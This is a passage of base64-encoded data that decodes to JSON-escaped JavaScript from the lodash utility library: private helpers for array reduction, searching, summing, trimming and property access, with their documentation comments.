lbmd0aDtcbiAgICBpZiAoaW5pdEFjY3VtICYmIGxlbmd0aCkge1xuICAgICAgYWNjdW11bGF0b3IgPSBhcnJheVstLWxlbmd0aF07XG4gICAgfVxuICAgIHdoaWxlIChsZW5ndGgtLSkge1xuICAgICAgYWNjdW11bGF0b3IgPSBpdGVyYXRlZShhY2N1bXVsYXRvciwgYXJyYXlbbGVuZ3RoXSwgbGVuZ3RoLCBhcnJheSk7XG4gICAgfVxuICAgIHJldHVybiBhY2N1bXVsYXRvcjtcbiAgfVxuXG4gIC8qKlxuICAgKiBBIHNwZWNpYWxpemVkIHZlcnNpb24gb2YgYF8uc29tZWAgZm9yIGFycmF5cyB3aXRob3V0IHN1cHBvcnQgZm9yIGl0ZXJhdGVlXG4gICAqIHNob3J0aGFuZHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IFthcnJheV0gVGhlIGFycmF5IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gcHJlZGljYXRlIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBhbnkgZWxlbWVudCBwYXNzZXMgdGhlIHByZWRpY2F0ZSBjaGVjayxcbiAgICogIGVsc2UgYGZhbHNlYC5cbiAgICovXG4gIGZ1bmN0aW9uIGFycmF5U29tZShhcnJheSwgcHJlZGljYXRlKSB7XG4gICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuXG4gICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgIGlmIChwcmVkaWNhdGUoYXJyYXlbaW5kZXhdLCBpbmRleCwgYXJyYXkpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG4gIH1cblxuICAvKipcbiAgICogR2V0cyB0aGUgc2l6ZSBvZiBhbiBBU0NJSSBgc3RyaW5nYC5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtzdHJpbmd9IHN0cmluZyBUaGUgc3RyaW5nIGluc3BlY3QuXG4gICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIHN0cmluZyBzaXplLlxuICAgKi9cbiAgdmFyIGFzY2lpU2l6ZSA9IGJhc2VQcm9wZXJ0eSgnbGVuZ3RoJyk7XG5cbiAgLyoqXG4gICAqIENvbnZlcnRzIGFuIEFTQ0lJIGBzdHJpbmdgIHRvIGFuIGFycmF5LlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge3N0cmluZ30gc3RyaW5nIFRoZSBzdHJpbmcgdG8gY29udmVydC5cbiAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBjb252ZXJ0ZWQgYXJyYXkuXG4gICAqL1xuICBmdW5jdGlvbiBhc2NpaVRvQXJyYXkoc3RyaW5nKSB7XG4gICAgcmV0dXJuIHN0cmluZy5zcGxpdCgnJyk7XG4gIH1cblxuICAvKipcbiAgICogU3BsaXRzIGFuIEFTQ0lJIGBzdHJpbmdgIGludG8gYW4gYXJyYXkgb2YgaXRzIHdvcmRzLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge3N0cmluZ30gVGhlIHN0cmluZyB0byBpbnNwZWN0LlxuICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIHdvcmRzIG9mIGBzdHJpbmdgLlxuICAgKi9cbiAgZnVuY3Rpb24gYXNjaWlXb3JkcyhzdHJpbmcpIHtcbiAgICByZXR1cm4gc3RyaW5nLm1hdGNoKHJlQXNjaWlXb3JkKSB8fCBbXTtcbiAgfVxuXG4gIC8qKlxuICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBtZXRob2RzIGxpa2UgYF8uZmluZEtleWAgYW5kIGBfLmZpbmRMYXN0S2V5YCxcbiAgICogd2l0aG91dCBzdXBwb3J0IGZvciBpdGVyYXRlZSBzaG9ydGhhbmRzLCB3aGljaCBpdGVyYXRlcyBvdmVyIGBjb2xsZWN0aW9uYFxuICAgKiB1c2luZyBgZWFjaEZ1bmNgLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpbnNwZWN0LlxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBwcmVkaWNhdGUgVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gZWFjaEZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGl0ZXJhdGUgb3ZlciBgY29sbGVjdGlvbmAuXG4gICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSBmb3VuZCBlbGVtZW50IG9yIGl0cyBrZXksIGVsc2UgYHVuZGVmaW5lZGAuXG4gICAqL1xuICBmdW5jdGlvbiBiYXNlRmluZEtleShjb2xsZWN0aW9uLCBwcmVkaWNhdGUsIGVhY2hGdW5jKSB7XG4gICAgdmFyIHJlc3VsdDtcbiAgICBlYWNoRnVuYyhjb2xsZWN0aW9uLCBmdW5jdGlvbih2YWx1ZSwga2V5LCBjb2xsZWN0aW9uKSB7XG4gICAgICBpZiAocHJlZGljYXRlKHZhbHVlLCBrZXksIGNvbGxlY3Rpb24pKSB7XG4gICAgICAgIHJlc3VsdCA9IGtleTtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgfVxuICAgIH0pO1xuICAgIHJldHVybiByZXN1bHQ7XG4gIH1cblxuICAvKipcbiAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uZmluZEluZGV4YCBhbmQgYF8uZmluZExhc3RJbmRleGAgd2l0aG91dFxuICAgKiBzdXBwb3J0IGZvciBpdGVyYXRlZSBzaG9ydGhhbmRzLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaW5zcGVjdC5cbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gcHJlZGljYXRlIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAqIEBwYXJhbSB7bnVtYmVyfSBmcm9tSW5kZXggVGhlIGluZGV4IHRvIHNlYXJjaCBmcm9tLlxuICAgKiBAcGFyYW0ge2Jvb2xlYW59IFtmcm9tUmlnaHRdIFNwZWNpZnkgaXRlcmF0aW5nIGZyb20gcmlnaHQgdG8gbGVmdC5cbiAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgaW5kZXggb2YgdGhlIG1hdGNoZWQgdmFsdWUsIGVsc2UgYC0xYC5cbiAgICovXG4gIGZ1bmN0aW9uIGJhc2VGaW5kSW5kZXgoYXJyYXksIHByZWRpY2F0ZSwgZnJvbUluZGV4LCBmcm9tUmlnaHQpIHtcbiAgICB2YXIgbGVuZ3RoID0gYXJyYXkubGVuZ3RoLFxuICAgICAgICBpbmRleCA9IGZyb21JbmRleCArIChmcm9tUmlnaHQgPyAxIDogLTEpO1xuXG4gICAgd2hpbGUgKChmcm9tUmlnaHQgPyBpbmRleC0tIDogKytpbmRleCA8IGxlbmd0aCkpIHtcbiAgICAgIGlmIChwcmVkaWNhdGUoYXJyYXlbaW5kZXhdLCBpbmRleCwgYXJyYXkpKSB7XG4gICAgICAgIHJldHVybiBpbmRleDtcbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIC0xO1xuICB9XG5cbiAgLyoqXG4gICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmluZGV4T2ZgIHdpdGhvdXQgYGZyb21JbmRleGAgYm91bmRzIGNoZWNrcy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHNlYXJjaCBmb3IuXG4gICAqIEBwYXJhbSB7bnVtYmVyfSBmcm9tSW5kZXggVGhlIGluZGV4IHRvIHNlYXJjaCBmcm9tLlxuICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBpbmRleCBvZiB0aGUgbWF0Y2hlZCB2YWx1ZSwgZWxzZSBgLTFgLlxuICAgKi9cbiAgZnVuY3Rpb24gYmFzZUluZGV4T2YoYXJyYXksIHZhbHVlLCBmcm9tSW5kZXgpIHtcbiAgICByZXR1cm4gdmFsdWUgPT09IHZhbHVlXG4gICAgICA/IHN0cmljdEluZGV4T2YoYXJyYXksIHZhbHVlLCBmcm9tSW5kZXgpXG4gICAgICA6IGJhc2VGaW5kSW5kZXgoYXJyYXksIGJhc2VJc05hTiwgZnJvbUluZGV4KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBUaGlzIGZ1bmN0aW9uIGlzIGxpa2UgYGJhc2VJbmRleE9mYCBleGNlcHQgdGhhdCBpdCBhY2NlcHRzIGEgY29tcGFyYXRvci5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHNlYXJjaCBmb3IuXG4gICAqIEBwYXJhbSB7bnVtYmVyfSBmcm9tSW5kZXggVGhlIGluZGV4IHRvIHNlYXJjaCBmcm9tLlxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBjb21wYXJhdG9yIFRoZSBjb21wYXJhdG9yIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IG9mIHRoZSBtYXRjaGVkIHZhbHVlLCBlbHNlIGAtMWAuXG4gICAqL1xuICBmdW5jdGlvbiBiYXNlSW5kZXhPZldpdGgoYXJyYXksIHZhbHVlLCBmcm9tSW5kZXgsIGNvbXBhcmF0b3IpIHtcbiAgICB2YXIgaW5kZXggPSBmcm9tSW5kZXggLSAxLFxuICAgICAgICBsZW5ndGggPSBhcnJheS5sZW5ndGg7XG5cbiAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgaWYgKGNvbXBhcmF0b3IoYXJyYXlbaW5kZXhdLCB2YWx1ZSkpIHtcbiAgICAgICAgcmV0dXJuIGluZGV4O1xuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gLTE7XG4gIH1cblxuICAvKipcbiAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uaXNOYU5gIHdpdGhvdXQgc3VwcG9ydCBmb3IgbnVtYmVyIG9iamVjdHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBgTmFOYCwgZWxzZSBgZmFsc2VgLlxuICAgKi9cbiAgZnVuY3Rpb24gYmFzZUlzTmFOKHZhbHVlKSB7XG4gICAgcmV0dXJuIHZhbHVlICE9PSB2YWx1ZTtcbiAgfVxuXG4gIC8qKlxuICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5tZWFuYCBhbmQgYF8ubWVhbkJ5YCB3aXRob3V0IHN1cHBvcnQgZm9yXG4gICAqIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpdGVyYXRlIG92ZXIuXG4gICAqIEBwYXJhbSB7RnVuY3Rpb259IGl0ZXJhdGVlIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIG1lYW4uXG4gICAqL1xuICBmdW5jdGlvbiBiYXNlTWVhbihhcnJheSwgaXRlcmF0ZWUpIHtcbiAgICB2YXIgbGVuZ3RoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGg7XG4gICAgcmV0dXJuIGxlbmd0aCA/IChiYXNlU3VtKGFycmF5LCBpdGVyYXRlZSkgLyBsZW5ndGgpIDogTkFOO1xuICB9XG5cbiAgLyoqXG4gICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnByb3BlcnR5YCB3aXRob3V0IHN1cHBvcnQgZm9yIGRlZXAgcGF0aHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7c3RyaW5nfSBrZXkgVGhlIGtleSBvZiB0aGUgcHJvcGVydHkgdG8gZ2V0LlxuICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBhY2Nlc3NvciBmdW5jdGlvbi5cbiAgICovXG4gIGZ1bmN0aW9uIGJhc2VQcm9wZXJ0eShrZXkpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24ob2JqZWN0KSB7XG4gICAgICByZXR1cm4gb2JqZWN0ID09IG51bGwgPyB1bmRlZmluZWQgOiBvYmplY3Rba2V5XTtcbiAgICB9O1xuICB9XG5cbiAgLyoqXG4gICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnByb3BlcnR5T2ZgIHdpdGhvdXQgc3VwcG9ydCBmb3IgZGVlcCBwYXRocy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBhY2Nlc3NvciBmdW5jdGlvbi5cbiAgICovXG4gIGZ1bmN0aW9uIGJhc2VQcm9wZXJ0eU9mKG9iamVjdCkge1xuICAgIHJldHVybiBmdW5jdGlvbihrZXkpIHtcbiAgICAgIHJldHVybiBvYmplY3QgPT0gbnVsbCA/IHVuZGVmaW5lZCA6IG9iamVjdFtrZXldO1xuICAgIH07XG4gIH1cblxuICAvKipcbiAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8ucmVkdWNlYCBhbmQgYF8ucmVkdWNlUmlnaHRgLCB3aXRob3V0IHN1cHBvcnRcbiAgICogZm9yIGl0ZXJhdGVlIHNob3J0aGFuZHMsIHdoaWNoIGl0ZXJhdGVzIG92ZXIgYGNvbGxlY3Rpb25gIHVzaW5nIGBlYWNoRnVuY2AuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gaXRlcmF0ZWUgVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICogQHBhcmFtIHsqfSBhY2N1bXVsYXRvciBUaGUgaW5pdGlhbCB2YWx1ZS5cbiAgICogQHBhcmFtIHtib29sZWFufSBpbml0QWNjdW0gU3BlY2lmeSB1c2luZyB0aGUgZmlyc3Qgb3IgbGFzdCBlbGVtZW50IG9mXG4gICAqICBgY29sbGVjdGlvbmAgYXMgdGhlIGluaXRpYWwgdmFsdWUuXG4gICAqIEBwYXJhbSB7RnVuY3Rpb259IGVhY2hGdW5jIFRoZSBmdW5jdGlvbiB0byBpdGVyYXRlIG92ZXIgYGNvbGxlY3Rpb25gLlxuICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgYWNjdW11bGF0ZWQgdmFsdWUuXG4gICAqL1xuICBmdW5jdGlvbiBiYXNlUmVkdWNlKGNvbGxlY3Rpb24sIGl0ZXJhdGVlLCBhY2N1bXVsYXRvciwgaW5pdEFjY3VtLCBlYWNoRnVuYykge1xuICAgIGVhY2hGdW5jKGNvbGxlY3Rpb24sIGZ1bmN0aW9uKHZhbHVlLCBpbmRleCwgY29sbGVjdGlvbikge1xuICAgICAgYWNjdW11bGF0b3IgPSBpbml0QWNjdW1cbiAgICAgICAgPyAoaW5pdEFjY3VtID0gZmFsc2UsIHZhbHVlKVxuICAgICAgICA6IGl0ZXJhdGVlKGFjY3VtdWxhdG9yLCB2YWx1ZSwgaW5kZXgsIGNvbGxlY3Rpb24pO1xuICAgIH0pO1xuICAgIHJldHVybiBhY2N1bXVsYXRvcjtcbiAgfVxuXG4gIC8qKlxuICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5zb3J0QnlgIHdoaWNoIHVzZXMgYGNvbXBhcmVyYCB0byBkZWZpbmUgdGhlXG4gICAqIHNvcnQgb3JkZXIgb2YgYGFycmF5YCBhbmQgcmVwbGFjZXMgY3JpdGVyaWEgb2JqZWN0cyB3aXRoIHRoZWlyIGNvcnJlc3BvbmRpbmdcbiAgICogdmFsdWVzLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gc29ydC5cbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gY29tcGFyZXIgVGhlIGZ1bmN0aW9uIHRvIGRlZmluZSBzb3J0IG9yZGVyLlxuICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGFycmF5YC5cbiAgICovXG4gIGZ1bmN0aW9uIGJhc2VTb3J0QnkoYXJyYXksIGNvbXBhcmVyKSB7XG4gICAgdmFyIGxlbmd0aCA9IGFycmF5Lmxlbmd0aDtcblxuICAgIGFycmF5LnNvcnQoY29tcGFyZXIpO1xuICAgIHdoaWxlIChsZW5ndGgtLSkge1xuICAgICAgYXJyYXlbbGVuZ3RoXSA9IGFycmF5W2xlbmd0aF0udmFsdWU7XG4gICAgfVxuICAgIHJldHVybiBhcnJheTtcbiAgfVxuXG4gIC8qKlxuICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5zdW1gIGFuZCBgXy5zdW1CeWAgd2l0aG91dCBzdXBwb3J0IGZvclxuICAgKiBpdGVyYXRlZSBzaG9ydGhhbmRzLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaXRlcmF0ZSBvdmVyLlxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBzdW0uXG4gICAqL1xuICBmdW5jdGlvbiBiYXNlU3VtKGFycmF5LCBpdGVyYXRlZSkge1xuICAgIHZhciByZXN1bHQsXG4gICAgICAgIGluZGV4ID0gLTEsXG4gICAgICAgIGxlbmd0aCA9IGFycmF5Lmxlbmd0aDtcblxuICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICB2YXIgY3VycmVudCA9IGl0ZXJhdGVlKGFycmF5W2luZGV4XSk7XG4gICAgICBpZiAoY3VycmVudCAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIHJlc3VsdCA9IHJlc3VsdCA9PT0gdW5kZWZpbmVkID8gY3VycmVudCA6IChyZXN1bHQgKyBjdXJyZW50KTtcbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIHJlc3VsdDtcbiAgfVxuXG4gIC8qKlxuICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy50aW1lc2Agd2l0aG91dCBzdXBwb3J0IGZvciBpdGVyYXRlZSBzaG9ydGhhbmRzXG4gICAqIG9yIG1heCBhcnJheSBsZW5ndGggY2hlY2tzLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge251bWJlcn0gbiBUaGUgbnVtYmVyIG9mIHRpbWVzIHRvIGludm9rZSBgaXRlcmF0ZWVgLlxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIGFycmF5IG9mIHJlc3VsdHMuXG4gICAqL1xuICBmdW5jdGlvbiBiYXNlVGltZXMobiwgaXRlcmF0ZWUpIHtcbiAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgcmVzdWx0ID0gQXJyYXkobik7XG5cbiAgICB3aGlsZSAoKytpbmRleCA8IG4pIHtcbiAgICAgIHJlc3VsdFtpbmRleF0gPSBpdGVyYXRlZShpbmRleCk7XG4gICAgfVxuICAgIHJldHVybiByZXN1bHQ7XG4gIH1cblxuICAvKipcbiAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8udG9QYWlyc2AgYW5kIGBfLnRvUGFpcnNJbmAgd2hpY2ggY3JlYXRlcyBhbiBhcnJheVxuICAgKiBvZiBrZXktdmFsdWUgcGFpcnMgZm9yIGBvYmplY3RgIGNvcnJlc3BvbmRpbmcgdG8gdGhlIHByb3BlcnR5IG5hbWVzIG9mIGBwcm9wc2AuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBxdWVyeS5cbiAgICogQHBhcmFtIHtBcnJheX0gcHJvcHMgVGhlIHByb3BlcnR5IG5hbWVzIHRvIGdldCB2YWx1ZXMgZm9yLlxuICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBrZXktdmFsdWUgcGFpcnMuXG4gICAqL1xuICBmdW5jdGlvbiBiYXNlVG9QYWlycyhvYmplY3QsIHByb3BzKSB7XG4gICAgcmV0dXJuIGFycmF5TWFwKHByb3BzLCBmdW5jdGlvbihrZXkpIHtcbiAgICAgIHJldHVybiBba2V5LCBvYmplY3Rba2V5XV07XG4gICAgfSk7XG4gIH1cblxuICAvKipcbiAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8udHJpbWAuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7c3RyaW5nfSBzdHJpbmcgVGhlIHN0cmluZyB0byB0cmltLlxuICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSB0cmltbWVkIHN0cmluZy5cbiAgICovXG4gIGZ1bmN0aW9uIGJhc2VUcmltKHN0cmluZykge1xuICAgIHJldHVybiBzdHJpbmdcbiAgICAgID8gc3RyaW5nLnNsaWNlKDAsIHRyaW1tZWRFbmRJbmRleChzdHJpbmcpICsgMSkucmVwbGFjZShyZVRyaW1TdGFydCwgJycpXG4gICAgICA6IHN0cmluZztcbiAgfVxuXG4gIC8qKlxuICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy51bmFyeWAgd2l0aG91dCBzdXBwb3J0IGZvciBzdG9yaW5nIG1ldGFkYXRhLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBjYXAgYXJndW1lbnRzIGZvci5cbiAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgY2FwcGVkIGZ1bmN0aW9uLlxuICAgKi9cbiAgZnVuY3Rpb24gYmFzZVVuYXJ5KGZ1bmMpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24odmFsdWUpIHtcbiAgICAgIHJldHVybiBmdW5jKHZhbHVlKTtcbiAgICB9O1xuICB9XG5cbiAgLyoqXG4gICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnZhbHVlc2AgYW5kIGBfLnZhbHVlc0luYCB3aGljaCBjcmVhdGVzIGFuXG4gICAqIGFycmF5IG9mIGBvYmplY3RgIHByb3BlcnR5IHZhbHVlcyBjb3JyZXNwb25kaW5nIHRvIHRoZSBwcm9wZXJ0eSBuYW1lc1xuICAgKiBvZiBgcHJvcHNgLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAqIEBwYXJhbSB7QXJyYXl9IHByb3BzIFRoZSBwcm9wZXJ0eSBuYW1lcyB0byBnZXQgdmFsdWVzIGZvci5cbiAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgYXJyYXkgb2YgcHJvcGVydHkgdmFsdWVzLlxuICAgKi9cbiAgZnVuY3Rpb24gYmFzZVZhbHVlcyhvYmplY3QsIHByb3BzKSB7XG4gICAgcmV0dXJuIGFycmF5TWFwKHByb3BzLCBmdW5jdGlvbihrZXkpIHtcbiAgICAgIHJldHVybiBvYmplY3Rba2V5XTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBDaGVja3MgaWYgYSBgY2FjaGVgIHZhbHVlIGZvciBga2V5YCBleGlzdHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7T2JqZWN0fSBjYWNoZSBUaGUgY2FjaGUgdG8gcXVlcnkuXG4gICAqIEBwYXJhbSB7c3RyaW5nfSBrZXkgVGhlIGtleSBvZiB0aGUgZW50cnkgdG8gY2hlY2suXG4gICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBhbiBlbnRyeSBmb3IgYGtleWAgZXhpc3RzLCBlbHNlIGBmYWxzZWAuXG4gICAqL1xuICBmdW5jdGlvbiBjYWNoZUhhcyhjYWNoZSwga2V5KSB7XG4gICAgcmV0dXJuIGNhY2hlLmhhcyhrZXkpO1xuICB9XG5cbiAgLyoqXG4gICAqIFVzZWQgYnkgYF8udHJpbWAgYW5kIGBfLnRyaW1TdGFydGAgdG8gZ2V0IHRoZSBpbmRleCBvZiB0aGUgZmlyc3Qgc3RyaW5nIHN5bWJvbFxuICAgKiB0aGF0IGlzIG5vdCBmb3VuZCBpbiB0aGUgY2hhcmFjdGVyIHN5bWJvbHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IHN0clN5bWJvbHMgVGhlIHN0cmluZyBzeW1ib2xzIHRvIGluc3BlY3QuXG4gICAqIEBwYXJhbSB7QXJyYXl9IGNoclN5bWJvbHMgVGhlIGNoYXJhY3RlciBzeW1ib2xzIHRvIGZpbmQuXG4gICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IG9mIHRoZSBmaXJzdCB1bm1hdGNoZWQgc3RyaW5nIHN5bWJvbC5cbiAgICovXG4gIGZ1bmN0aW9uIGNoYXJzU3RhcnRJbmRleChzdHJTeW1ib2xzLCBjaHJTeW1ib2xzKSB7XG4gICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgIGxlbmd0aCA9IHN0clN5bWJvbHMubGVuZ3RoO1xuXG4gICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGggJiYgYmFzZUluZGV4T2YoY2hyU3ltYm9scywgc3RyU3ltYm9sc1tpbmRleF0sIDApID4gLTEpIHt9XG4gICAgcmV0dXJuIGluZGV4O1xuICB9XG5cbiAgLyoqXG4gICAqIFVzZWQgYnkgYF8udHJpbWAgYW5kIGBfLnRyaW1FbmRgIHRvIGdldCB0aGUgaW5kZXggb2YgdGhlIGxhc3Qgc3RyaW5nIHN5bWJvbFxuICAgKiB0aGF0IGlzIG5vdCBmb3VuZCBpbiB0aGUgY2hhcmFjdGVyIHN5bWJvbHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IHN0clN5bWJvbHMgVGhlIHN0cmluZyBzeW1ib2xzIHRvIGluc3BlY3QuXG4gICAqIEBwYXJhbSB7QXJyYXl9IGNoclN5bWJvbHMgVGhlIGNoYXJhY3RlciBzeW1ib2xzIHRvIGZpbmQuXG4gICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IG9mIHRoZSBsYXN0IHVubWF0Y2hlZCBzdHJpbmcgc3ltYm9sLlxuICAgKi9cbiAgZnVuY3Rpb24gY2hhcnNFbmRJbmRleChzdHJTeW1ib2xzLCBjaHJTeW1ib2xzKSB7XG4gICAgdmFyIGluZGV4ID0gc3RyU3ltYm9scy5sZW5ndGg7XG5cbiAgICB3aGlsZSAoaW5kZXgtLSAmJiBiYXNlSW5kZXhPZihjaHJTeW1ib2xzLCBzdHJTeW1ib2xzW2luZGV4XSwgMCkgPiAtMSkge31cbiAgICByZXR1cm4gaW5kZXg7XG4gIH1cblxuICAvKipcbiAgICogR2V0cyB0aGUgbnVtYmVyIG9mIGBwbGFjZWhvbGRlcmAgb2NjdXJyZW5jZXMgaW4gYGFycmF5YC5cbiAgICpcbiAgICogQHByaXZhdGVcbiAg